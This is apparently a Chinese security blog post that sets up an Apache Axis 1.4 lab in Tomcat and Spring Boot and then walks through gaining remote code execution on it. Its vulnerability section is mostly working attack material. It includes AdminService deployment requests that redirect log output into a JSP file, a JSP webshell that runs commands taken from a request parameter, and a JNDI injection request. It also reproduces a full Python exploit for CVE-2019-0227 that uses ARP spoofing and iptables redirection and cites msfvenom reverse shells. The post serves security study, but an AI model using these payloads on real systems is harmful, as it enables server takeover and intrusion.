Axis搭建加漏洞RCE(含CVE-2019-0227)

目录

前言:

环境搭建:

Tomcat搭建:

Spring-boot搭建:

创建server端:        

client创建:

漏洞分析:

通过log写文件:

JNDI注入:

SSRF利用(CVE-2019-0227) :

后记:


前言:

        首先我们要了解Webservice是什么,Webservice是一种远程调用技术,也叫XML Web Service,是一种可以接收从Internet或者Intranet上的其它系统中传递过来的请求,较轻量级的独立通讯技术。通过SOAP协议在Web上提供的软件服务,使用WSDL文件进行说明,并通过UDDI进行注册。
 Web Service(WEB服务)能够快捷和方便地综合结合各种系统、商务和任何应用平台。利用最新的Web Service 标准能够使任何软件系统和系统之间的应用互通互联,方便,而且更加廉价。
在使用Web Service之前我们首先需要了解几个概念

  • XML:(Extensible Markup Language)扩展型可标记语言

        面向短期的临时数据处理、面向万维网络,是Soap的基础。

  • SOAP:(Simple ObjectAccess Protocol)简单对象存取协议

        是XML Web Service的通信协议。当用户通过UDDI找到你的WSDL描述文档后,他通过可以SOAP调用你建立的Web服务中的一个或多个操作。SOAP是XML文档形式的调用方法的规范,它可以支持不同的底层接口,像HTTP(S)或者SMTP。

        SOAP包括四个部分:SOAP封装(envelop),封装定义了一个描述消息中的内容是什么,是谁发送的,谁应当接受并处理它以及如何处理它们的框架;SOAP编码规则(encoding rules),用于表示应用程序需要使用的数据类型的实例;SOAP RPC表示(RPC representation),表示远程过程调用和应答的协定;SOAP绑定(binding),使用底层协议交换信息。应用中比较重要的是envelop,由一个或多个Header和一个Body组成。

  • WSDL:(Web Services Description Language) 网络服务描述语言

        是一门基于 XML 的语言,用于描述 Web Services 以及如何对它们进行访问。WSDL 文件是一个 XML 文档,用于说明一组SOAP 消息以及如何交换这些消息。大多数情况下由软件自动生成和使用。

       再说说Axis是什么, Axis(Apache eXtensible Interaction System)是一款开源的WebService 运行引擎,它是SOAP 协议的一个实现,其本身来源于Apache 的另一个项目Apache SOAP。其本质上就是一个SOAP引擎,提供创建服务器端、客户端和网关SOAP操作的基本框架。另外Axis还嵌入Servlet引擎(例如Tomcat)的服务器,支持WSDL,提供转化WSDL为Java类的工具,提供例子程序,提供TCP/IP数据包监视工具。

        Axis 分为1.x系列和2 系列,两个系列体系结构和使用上有较大的区别,相对而言,Axis1.x 更加稳定,文档也比较齐全,因此本文内容以Axis 1.x 系列最新版本1.4 为基础。

Axis支持三种web service的客户端访问方式,分别为:

    • Dynamic Invocation Interface ( DII)
    • Dynamic Proxy方式
    • Stubs方式

Axis部署和发布web service有两种方式:

    • JWS  - 即时发布
    • WSDD  –定制发布

        JWS(Java WebService)是最简单的一种方式。Axis允许把普通Java类的源文件的扩展名改为.jws,然后把它简单的copy到AXIS_HOME下。这样,Axis 会自动编译.jws文件,
 并把它自动加入到Java Web Servie的服务中。非常简单和灵活,但是这种方式的缺点是:只能是java源代码,同时类中不能含有包名。

        WSDD就是WEB服务分布描述(Web Service Deployment Descriptor), 它定义了WEB服务的接口,如服务名、提供的方法、方法的参数等信息。

        了解了上述的这些概念,就可以对Axis漏洞进行分析了;

环境搭建:

Tomcat搭建:

        这个最简单,直接安装Tomcat,然后下载axis-bin-1_4.tar.gz,解压后把axis放入Tomcat的webapps目录下,然后启动Tomcat服务即可,运行后访问网址即可,我这里因为端口占用,改为了1313,这个可以自行修改

http://127.0.0.1:1313/axis/index.jsp

Spring-boot搭建:

        这种搭建方法要复杂一些,但是现在大部分的系统都采用的是Spring-boot,而且spring作为一个流行的框架,还是应该去研究学习下,所以Spring的搭建也要会,在测试其他漏洞的时候会有帮助。

创建server端:        

        首先我们创建使用intellJ创建一个spring项目,创建的时候Type要选maven,这样加载jar包方便些,创建好项目后在pox.xml中添加如下内容:

		<dependency>
			<groupId>commons-discovery</groupId>
			<artifactId>commons-discovery</artifactId>
			<version>0.2</version>
		</dependency>
		<!-- Axis -->
		<dependency>
			<groupId>org.apache.axis</groupId>
			<artifactId>axis</artifactId>
			<version>1.4</version>
		</dependency>
		<dependency>
			<groupId>org.apache.axis</groupId>
			<artifactId>axis-jaxrpc</artifactId>
			<version>1.4</version>
		</dependency>
		<dependency>
			<groupId>axis</groupId>
			<artifactId>axis-wsdl4j</artifactId>
			<version>1.5.1</version>
		</dependency>
		<dependency>
			<groupId>org.apache.axis</groupId>
			<artifactId>axis-saaj</artifactId>
			<version>1.4</version>
		</dependency>

然后创建ServletInitializer继承SpringBootServletInitializer,重写configure,这里作用是加载我们创建的类Application

package com.exemple;

import org.springframework.boot.builder.SpringApplicationBuilder;
import org.springframework.boot.web.servlet.support.SpringBootServletInitializer;

public class ServletInitializer extends SpringBootServletInitializer {

	@Override
	protected SpringApplicationBuilder configure(SpringApplicationBuilder application) {
		return application.sources(Application.class);
	}

}

 创建接口ServiceTest来声明我们的接口进行调用,这里我作为测试声明了三个接口:

package com.exemple.service;

public interface ServiceTest {
	
	public int add(int a, int b);
	
	public String show(String tmp);

	public String sayHello(String info);

}

下面对三个接口内容进行编写,创建ServiceTestImpl并实现ServiceTest中的三个接口:

package com.exemple.service;

import org.springframework.stereotype.Service;

@Service
public class ServiceTestImpl implements ServiceTest{
	
	@Override
	public int add(int a, int b) {

		return a+b;
	}
	
	@Override
	public String show(String tmp) {

		return "show:" + tmp;
	}
	@Override
	public String sayHello(String info) {

		return "sayHello:" + info;
	}
}

创建AxisWebService来将我们创建的接口和server-config.wsdd进行映射:

package com.exemple.service;

import javax.servlet.ServletContext;
import javax.xml.rpc.ServiceException;
import javax.xml.rpc.server.ServiceLifecycle;
import javax.xml.rpc.server.ServletEndpointContext;

import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.support.WebApplicationContextUtils;


public class AxisWebService implements ServiceLifecycle, ServiceTest {

	protected ServletEndpointContext servletEndpointContext;

	protected WebApplicationContext webApplicationContext;

	protected ServiceTestImpl serviceTest;

	@Override
	public void init(Object context) throws ServiceException {
		if (!(context instanceof ServletEndpointContext)) {
			throw new ServiceException("ServletEndpointSupport needs ServletEndpointContext, not [" + context + "]");
		}
		this.servletEndpointContext = (ServletEndpointContext) context;
		ServletContext servletContext = this.servletEndpointContext.getServletContext();
		this.webApplicationContext = WebApplicationContextUtils.getRequiredWebApplicationContext(servletContext);
		this.serviceTest = webApplicationContext.getBean(ServiceTestImpl.class);
	}

	@Override
	public void destroy() {
	}
	
	@Override
	public int add(int a, int b) {
		return serviceTest.add(a, b);
	}
	@Override
	public String show(String tmp) {
		return serviceTest.show(tmp);
	}

	@Override
	public String sayHello(String info) {
		return serviceTest.show(info);
	}

}

之后创建Axis Servlet,WebServiceServerConfig:

package com.exemple.config;

import org.apache.axis.transport.http.AxisServlet;
import org.springframework.boot.web.servlet.ServletRegistrationBean;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;

/**
 * Register the Axis Servlet. The default settings will read the
 * server-config.wsdd file in src/main/webapp/WEB-INF
 */
@Configuration
public class WebServiceServerConfig {
	@Bean
	public ServletRegistrationBean<AxisServlet> axisServlet() {
		AxisServlet servlet = new AxisServlet();
		return new ServletRegistrationBean<AxisServlet>(servlet, "/axis/*");
	}
}

最后创建server-config.wsdd,将我们创建的接口放入,这里名称可以自己定义,我设置为TestMyClass:

<?xml version="1.0" encoding="UTF-8"?>
<deployment xmlns="http://xml.apache.org/axis/wsdd/"
            xmlns:java="http://xml.apache.org/axis/wsdd/providers/java">
 <globalConfiguration>
  <parameter name="adminPassword" value="admin" />
  <parameter name="sendXsiTypes" value="true" />
  <parameter name="sendMultiRefs" value="true" />
  <parameter name="sendXMLDeclaration" value="true" />
  <parameter name="axis.sendMinimizedElements" value="true" />
  <requestFlow>
   <handler type="java:org.apache.axis.handlers.JWSHandler">
    <parameter name="scope" value="session" />
   </handler>
   <handler type="java:org.apache.axis.handlers.JWSHandler">
    <parameter name="scope" value="request" />
    <parameter name="extension" value=".jwr" />
   </handler>
  </requestFlow>
 </globalConfiguration>
 <handler name="Authenticate"
          type="java:org.apache.axis.handlers.SimpleAuthenticationHandler" />
 <handler name="LocalResponder"
          type="java:org.apache.axis.transport.local.LocalResponder" />
 <handler name="URLMapper"
          type="java:org.apache.axis.handlers.http.URLMapper" />
 <service name="AdminService" provider="java:MSG">
  <parameter name="allowedMethods" value="AdminService" />
  <parameter name="enableRemoteAdmin" value="false" />
  <parameter name="className"
             value="org.apache.axis.utils.Admin" />
  <namespace>http://xml.apache.org/axis/wsdd/</namespace>
 </service>
 <service name="Version" provider="java:RPC">
  <parameter name="allowedMethods" value="getVersion" />
  <parameter name="className" value="org.apache.axis.Version" />
 </service>
 <!-- Here is where the example service is registered -->
 <!-- This is a template -->
 <service name="Service" provider="java:RPC" style="rpc"
          use="encoded">
  <namespace>http://tempuri/</namespace>
  <parameter name="wsdlTargetNamespace"
             value="http://tempuri/" />
  <parameter name="wsdlServiceElement" value="Service" />
  <parameter name="schemaUnqualified"
             value="http://tempuri/Imports" />
  <parameter name="wsdlServicePort"
             value="BasicHttpBinding_ServiceTest" />
  <parameter name="className"
             value="com.exemple.service.AxisWebService" />
  <parameter name="wsdlPortType" value="ServiceTest" />
  <parameter name="typeMappingVersion" value="1.2" />
  <parameter name="allowedMethods" value="*" />
  <parameter name="allowedMethods" value="*" />
 </service>

 <service name="TestMyClass" provider="java:RPC">
  <parameter name="allowedMethods" value="*"/>
  <parameter name="className" value="com.exemple.service.ServiceTestImpl" />
 </service>

 <transport name="http">
  <requestFlow>
   <handler type="URLMapper" />
   <handler
           type="java:org.apache.axis.handlers.http.HTTPAuthHandler" />
   <handler name="log"
            type="java:org.apache.axis.handlers.LogHandler" />
  </requestFlow>
  <responseFlow>
   <handler name="log"
            type="java:org.apache.axis.handlers.LogHandler" />
  </responseFlow>
 </transport>
 <transport name="local">
  <responseFlow>
   <handler type="LocalResponder" />
  </responseFlow>
 </transport>
</deployment>

其中几个标签需要注意:

        provider="java:RPC"  默认情况下所有的public方法都可以web service方式提供 

        <service name="AdminService"  部署一个Axis服务

这个服务器就算是搭建好了,运行后访问我们我们搭建好的接口可以看到如下:

client创建:

在axis-bin-1_4\axis-1_4目录下执行命令生成client代码,其中网址是我们自己创建的msdl,-p选项为我们的类名:

java -cp "D:\code\axis-bin-1_4\axis-1_4\lib\*" org.apache.axis.wsdl.WSDL2Java http://localhost:8889/axis/TestMyClass?wsdl -p client

 把生成的代码放到我们刚才创建的项目中,并创建HelloServiceClient调用:

package client;

import javax.xml.rpc.ServiceException;
import java.rmi.RemoteException;

public class HelloServiceClient {
    public static void main(String[] args) throws Exception {
        ServiceTestImplServiceLocator service = new ServiceTestImplServiceLocator();
        try {
            ServiceTestImpl helloService = service.getTestMyClass();
            System.out.println(helloService.show("你好"));
        } catch (ServiceException | RemoteException e) {
            e.printStackTrace();
        }
    }
}

 执行后可以看到成功返回接口内容:

到这里项目的创建就完成了,走一遍你就发现了重要的是server-config.wsdd,其他都是为了实现接口,但是server-config.wsdd是对外接口的创建,类似于窗户,所以我们很多攻击都是围绕这个展开的。

漏洞分析:

通过log写文件:

        这里我们可以调用远程admin来恶意添加接口到wsdd中,然后调用触发报错将任意内容写入指定文件,但是这里注意enableRemoteAdmin这个默认为False,所以只能本地调用,如果这个打开为true那就可以任意调用。

我们首先访问service,自动生成为service,但是这个可以更改,具体的根据实际情况定:

 发送POST数据包:

POST /axis/service/RandomService HTTP/1.0
Content-Type: text/xml; charset=utf-8
Accept: application/soap+xml, application/dime, multipart/related, text/*
User-Agent: Axis/1.4
Host: localhost:8889
Cache-Control: no-cache
Pragma: no-cache
SOAPAction: ""
Content-Length: 1117

<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
        xmlns:xsd="http://www.w3.org/2001/XMLSchema"
        xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Body>
    <ns1:deployment
  xmlns="http://xml.apache.org/axis/wsdd/"
  xmlns:java="http://xml.apache.org/axis/wsdd/providers/java"
  xmlns:ns1="http://xml.apache.org/axis/wsdd/">
  <ns1:service name="RandomMyService" provider="java:RPC">
    <requestFlow>
      <handler type="RandomLog"/>
    </requestFlow>
    <ns1:parameter name="className" value="java.util.Random"/>
    <ns1:parameter name="allowedMethods" value="*"/>
  </ns1:service>
  <handler name="RandomLog" type="java:org.apache.axis.handlers.LogHandler" >  
    <parameter name="LogHandler.fileName" value="D:\code\spring-boot-axis1.4-server-master\src\main\webapp\WEB-INF\exploit.jsp" />   
    <parameter name="LogHandler.writeToConsole" value="false" /> 
  </handler>
</ns1:deployment>
  </soapenv:Body>
</soapenv:Envelope>

 发送后可以看到成功,注意这里必须为127.0.0.1,除非把配置文件改为true

 执行完我们去看看系统的server-config.wsdd文件,可以看到添加了

或者可以采用GET请求

GET /axis/service/AdminService?method=!--%3E%3Cdeployment%20xmlns%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22%20xmlns%3Ajava%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2Fproviders%2Fjava%22%3E%3Cservice%20name%3D%22RandomLog%22%20provider%3D%22java%3ARPC%22%3E%3CrequestFlow%3E%3Chandler%20type%3D%22java%3Aorg.apache.axis.handlers.LogHandler%22%20%3E%3Cparameter%20name%3D%22LogHandler.fileName%22%20value%3D%22D%3A%5Ccode%5Cspring-boot-axis1.4-server-master%5Csrc%5Cmain%5Cwebapp%5CWEB-INF%5Cexploit_get.jsp%22%20%2F%3E%3Cparameter%20name%3D%22LogHandler.writeToConsole%22%20value%3D%22false%22%20%2F%3E%3C%2Fhandler%3E%3C%2FrequestFlow%3E%3Cparameter%20name%3D%22className%22%20value%3D%22java.util.Random%22%20%2F%3E%3Cparameter%20name%3D%22allowedMethods%22%20value%3D%22*%22%20%2F%3E%3C%2Fservice%3E%3C%2Fdeployment HTTP/1.1
Host: 127.0.0.1:8889
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1

可以看到,get请求同样可以实现添加 

通过远程添加了接口,这个时候调用我们添加的接口触发错误,在自定义的log文件中写入任意内容:

然后可以远程调用的接口,触发错误就可以写文件了,这里就不需要是本地地址。

POST /axis/RandomMyService HTTP/1.0
Host: localhost:8889
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept-Language: en-US,en;q=0.5
SOAPAction: something
Upgrade-Insecure-Requests: 1
Content-Type: application/xml
Accept-Encoding: gzip, deflate
Content-Length: 876

<?xml version="1.0" encoding="utf-8"?>
        <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
        xmlns:xsd="http://www.w3.org/2001/XMLSchema"
        xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
        <soapenv:Body>
        <api:main
        soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
            <api:in0><![CDATA[
<%@page import="java.util.*,java.io.*"%><% if (request.getParameter("c") != null) { Process p = Runtime.getRuntime().exec(request.getParameter("c")); DataInputStream dis = new DataInputStream(p.getInputStream()); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); }; p.destroy(); }%>
]]>
            </api:in0>
        </api:main>
  </soapenv:Body>
</soapenv:Envelope>

 这个时候我们看服务器对应路径下成功生成 exploit.jsp

这是最基本的利用方式,通过写入接口,并自定义log日志位置,进而写入webshell。

JNDI注入:

漏洞原理是因为axis自带的类org.apache.axis.client.ServiceFactory中有一个getService(方法会造成JNDI注入

 但是这个利用还是要在server-config.wsdd中写入jndiService接口,才能利用

POST /axis/services/AdminService  HTTP/1.0
Content-Type: text/xml; charset=utf-8
Accept: application/soap+xml, application/dime, multipart/related, text/*
User-Agent: Axis/1.4
Host: 192.168.4.147:8889
Cache-Control: no-cache
Pragma: no-cache
SOAPAction: ""
Content-Length: 747

<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:api="http://127.0.0.1/Integrics/Enswitch/API" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
  <soapenv:Body>
    <ns1:deployment xmlns:ns1="http://xml.apache.org/axis/wsdd/" xmlns="http://xml.apache.org/axis/wsdd/" xmlns:java="http://xml.apache.org/axis/wsdd/providers/java">
      <ns1:service name="jndiService" provider="java:RPC">
        <ns1:parameter name="className" value="org.apache.axis.client.ServiceFactory"/>
        <ns1:parameter name="allowedMethods" value="*"/>
      </ns1:service>
    </ns1:deployment>
  </soapenv:Body>
</soapenv:Envelope>

 

 然后调用实现JNDI注入:

POST /axis/jndiService HTTP/1.0
Content-Type: text/xml; charset=utf-8
Accept: application/soap+xml, application/dime, multipart/related, text/*
User-Agent: Axis/1.4
Host: 192.168.4.147:8889
Cache-Control: no-cache
Pragma: no-cache
SOAPAction: ""
Content-Length: 786

<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:buil="http://build.antlr">
  <soapenv:Header/>
  <soapenv:Body>
    <buil:getService soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
      <environment xmlns:apachesoap="http://xml.apache.org/xml-soap" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xsi:type="apachesoap:Map">
        <item>
          <key xsi:type="soapenc:string">jndiName</key>
          <value xsi:type="soapenc:string">rmi://127.0.0.1:1099/8yl90l</value>
        </item>
      </environment>
    </buil:getService>
  </soapenv:Body>
</soapenv:Envelope>

注意:

        在高版本中,系统属性 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false。而在低版本中这几个选项默认为true,可以远程加载一些类 ,所以复现需要修改java版本为低版本,或者采用其他绕过手段来执行。

SSRF利用(CVE-2019-0227) :

        最后就是CVE-2019-0227的利用了,为什么放在最后,因为走完上面两种方法就会发现无论如何利用,首先我们需要在server-config.wsdd中添加接口,然后才能进行下一步的调用,除非管理员把enableRemoteAdmin设置成了True,不然只能本地进行调用。

        但是当发现存在Axis如何利用,这里就有了CVE-2019-0227,其本质就是通过SSRF漏洞来实现对server-config.wsdd的设置,具体的流程是找到一个Axis对外访问的http请求,然后通过中间人攻击,将结果重定向到admin设置server-config.wsdd。进而添加接口。

        要想实现成功必须满足服务器存在对外访问,且存在ssrf漏洞。或者在同一网段,可以通过中间人攻击控制返回值。这里我们使用作者提供的CVE-2019-0227.py进行测试。

        CVE-2019-0227.py是通过访问安装是自带的StockQuoteService.jws来实现,首先来看StockQuoteService.jws的代码

        这里会去访问www.xmltoday.com网址,我们访问可以看到这个网址在被出售,这里就很有意思了,之前漏洞发布的作者购买了www.xmltoday.com这个网址,来防止被恶意利用,但是过了三年这个网址已经到期,作者并没有选择继续去购买这个链接,这个时候如果有人购买了这个网址并搭建服务器进行攻击,只要触发StockQuoteService.jws,就可以在server-config.wsdd下创建接口拿下服务器,当然网址购买有点贵。

        这里我们可以采用中间人攻击的方式来进行测试,这里我们偷个懒选择修改host文件,修改www.xmltoday.com的DNS解析地址,当然你也可以选择使用kali进行中间人攻击,这里我修改www.xmltoday.com的地址为我的攻击地址:

        另外我们需要修改提供的python代码,我修改了ip地址和undeployurl的get返回值,其原本的还是存在问题,无法创建成功:

 所有代码如下:

#+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#
#	Apache Axis 1.4 Remote Code Execution CVE-2019-0227                                             #
#https://rhinosecuritylabs.com/Application-Security/CVE-2019-0227-Expired-Domain-to-RCE-in-Apache-Axis  #
#	Author: David Yesland @daveysec, Rhino Security Labs				                #
#	This exploits Apache Axis < 1.4 to upload and execute a JSP payload using MITM                  #
#	by forcing an http request using the default StockQuoteService.jws service.                     #
#       You need to be on the same network as the Axis server to make this work.                        #
#	A lot of this exploit is based on the research from:                                            #
#	https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce                                      #
#+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#

import SimpleHTTPServer
import SocketServer
import subprocess
from time import sleep
import thread
import requests
from urllib import quote_plus
import sys

#Usage: python CVE-2019-0227.py shell.jsp

#You need to change these variable to match your configuration
myip = "192.168.4.243" #IP of your machine
target = "192.168.4.147" #IP of target
gateway = "192.168.4.1" #default gateway
targetport = "1313" #Port of target running axis (probably 8080)
pathtoaxis = "http://192.168.4.147:1313/axis" #This can be custom depending on the Axis install, but this is default
spoofinterface = "eth0" #Interface for arpspoofing
jspwritepath = "D:\Program Files\Tomcat\webapps\cve-2019-0227.jsp" #relative path on the target to write the JSP payload This is the default on a Tomcat install

#msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp
payloadfile = open(sys.argv[1],'r').read() #Some file containing a JSP payload

#craft URL to deploy a service as described here https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce
deployurl = 'http://localhost:'+targetport+'/axis/services/AdminService?method=%21--%3E%3Cns1%3Adeployment+xmlns%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22+xmlns%3Ajava%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2Fproviders%2Fjava%22+xmlns%3Ans1%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22%3E%3Cns1%3Aservice+name%3D%22exploitservice%22+provider%3D%22java%3ARPC%22%3E%3CrequestFlow%3E%3Chandler+type%3D%22RandomLog%22%2F%3E%3C%2FrequestFlow%3E%3Cns1%3Aparameter+name%3D%22className%22+value%3D%22java.util.Random%22%2F%3E%3Cns1%3Aparameter+name%3D%22allowedMethods%22+value%3D%22%2A%22%2F%3E%3C%2Fns1%3Aservice%3E%3Chandler+name%3D%22RandomLog%22+type%3D%22java%3Aorg.apache.axis.handlers.LogHandler%22+%3E%3Cparameter+name%3D%22LogHandler.fileName%22+value%3D%22'+quote_plus(jspwritepath)+'%22+%2F%3E%3Cparameter+name%3D%22LogHandler.writeToConsole%22+value%3D%22false%22+%2F%3E%3C%2Fhandler%3E%3C%2Fns1%3Adeployment'

#craft URL to undeploy a service as described here https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce
undeployurl = 'http://localhost:'+targetport+'/axis/services/AdminService?method=!--%3E%3Cdeployment%20xmlns%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22%20xmlns%3Ajava%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2Fproviders%2Fjava%22%3E%3Cservice%20name%3D%22exploitservice%22%20provider%3D%22java%3ARPC%22%3E%3CrequestFlow%3E%3Chandler%20type%3D%22java%3Aorg.apache.axis.handlers.LogHandler%22%20%3E%3Cparameter%20name%3D%22LogHandler.fileName%22%20value%3D%22D%3A%5CProgram%20Files%5CTomcat%5Cwebapps%5Caxis%5Ccve-2019-0227.jsp%22%20%2F%3E%3Cparameter%20name%3D%22LogHandler.writeToConsole%22%20value%3D%22false%22%20%2F%3E%3C%2Fhandler%3E%3C%2FrequestFlow%3E%3Cparameter%20name%3D%22className%22%20value%3D%22java.util.Random%22%20%2F%3E%3Cparameter%20name%3D%22allowedMethods%22%20value%3D%22*%22%20%2F%3E%3C%2Fservice%3E%3C%2Fdeployment'


def CreateJsp(pathtoaxis,jsppayload):
    url = pathtoaxis+"/services/exploitservice"
    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1", "SOAPAction": "something", "Content-Type": "text/xml;charset=UTF-8"}
    data="<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n        <soapenv:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\r\n        xmlns:api=\"http://127.0.0.1/Integrics/Enswitch/API\"\r\n        xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\"\r\n        xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\">\r\n        <soapenv:Body>\r\n        <api:main\r\n        soapenv:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">\r\n            <api:in0><![CDATA[\r\n"+jsppayload+"\r\n]]>\r\n            </api:in0>\r\n        </api:main>\r\n  </soapenv:Body>\r\n</soapenv:Envelope>"
    requests.post(url, headers=headers, data=data)

def TriggerSSRF(pathtoaxis):
    url = pathtoaxis+"/StockQuoteService.jws"
    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1", "SOAPAction": "", "Content-Type": "text/xml;charset=UTF-8"}
    data="<soapenv:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:def=\"http://DefaultNamespace\">\r\n   <soapenv:Header/>\r\n   <soapenv:Body>\r\n      <def:getQuote soapenv:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">\r\n         <symbol xsi:type=\"xsd:string\">dwas</symbol>\r\n      </def:getQuote>\r\n   </soapenv:Body>\r\n</soapenv:Envelope>"
    requests.post(url, headers=headers, data=data)


def StartMitm(interface,target,gateway):
	subprocess.Popen("echo 1 > /proc/sys/net/ipv4/ip_forward",shell=True)#Enable forwarding
	subprocess.Popen("arpspoof -i {} -t {} {}".format(interface,target,gateway),shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)#spoof target -> gateway
	subprocess.Popen("iptables -t nat -A PREROUTING -p tcp --dport 80 -j NETMAP --to {}".format(myip),shell=True)#use iptable to redirect back to our web server


def KillMitm(target,myip):
	subprocess.Popen("pkill arpspoof",shell=True)
	subprocess.Popen("echo 0 > /proc/sys/net/ipv4/ip_forward",shell=True)
	subprocess.Popen("iptables -t nat -D PREROUTING -p tcp --dport 80 -j NETMAP --to {}".format(myip),shell=True)


def SSRFRedirect(new_path):
	class myHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
	   def do_GET(self):
	       self.send_response(301)
	       self.send_header('Location', new_path)
	       self.end_headers()
	PORT = 80
	SocketServer.TCPServer.allow_reuse_address = True
	handler = SocketServer.TCPServer(("", PORT), myHandler)
	print "[+] Waiting to redirect"
	handler.handle_request()
	print "[+] Payload URL sent"


def ExecuteJsp(pathtoaxis):
	subprocess.Popen("curl "+pathtoaxis+"/exploit.jsp",shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)

print "[+] Starting MITM"
StartMitm(spoofinterface,target,gateway)
sleep(2)

print "[+] Starting web server for SSRF"
thread.start_new_thread(SSRFRedirect,(deployurl,))

print "[+] Using StockQuoteService.jws to trigger SSRF"
TriggerSSRF(pathtoaxis)
print "[+] Waiting 3 seconds for incoming request"
sleep(3)

print "[+] Writing JSP payload"
CreateJsp(pathtoaxis,payloadfile)

print "[+] Cleaning up exploit service"
thread.start_new_thread(SSRFRedirect,(undeployurl,))
TriggerSSRF(pathtoaxis)

print "[+] Cleaning up man in the middle"
KillMitm(target,myip)

print "[+] Waiting 2 seconds for JSP write"
sleep(2)
ExecuteJsp(pathtoaxis)

print "[+] Default URL to the jsp payload:"
print pathtoaxis+"/exploit.jsp"

下面执行测试,并且我使用wireshark抓包可以看到其本质就是使用SimpleHTTPServer搭建了一个简单的webserver,当访问www.xmltoday.com/examples/stockquote/getxmlquote.vep?s=dwas,返回301跳转到http://localhost:1313/axis/services/AdminService?method=来执行添加接口,从而绕过enableRemoteAdmin为False的限制。

可以看到已经成功在添加exploitservice接口

 后续就和之前一样,写webshell到自定义的log文件中,就可以成功拿下服务器。

后记:

        最后总结下Axis的攻击,其精髓就是通过调用AdminService来添加接口,并添加log日志的存储路径,而后触发错误写入webshell。攻击可以采用post和get请求,通过寻找ssrf漏洞或者本地中间人攻击,修改返回值,使服务器通过本地发送,绕过enableRemoteAdmin限制,即可。后续会对Axis2进行分析。

猜你喜欢

转载自blog.csdn.net/GalaxySpaceX/article/details/130636329
今日推荐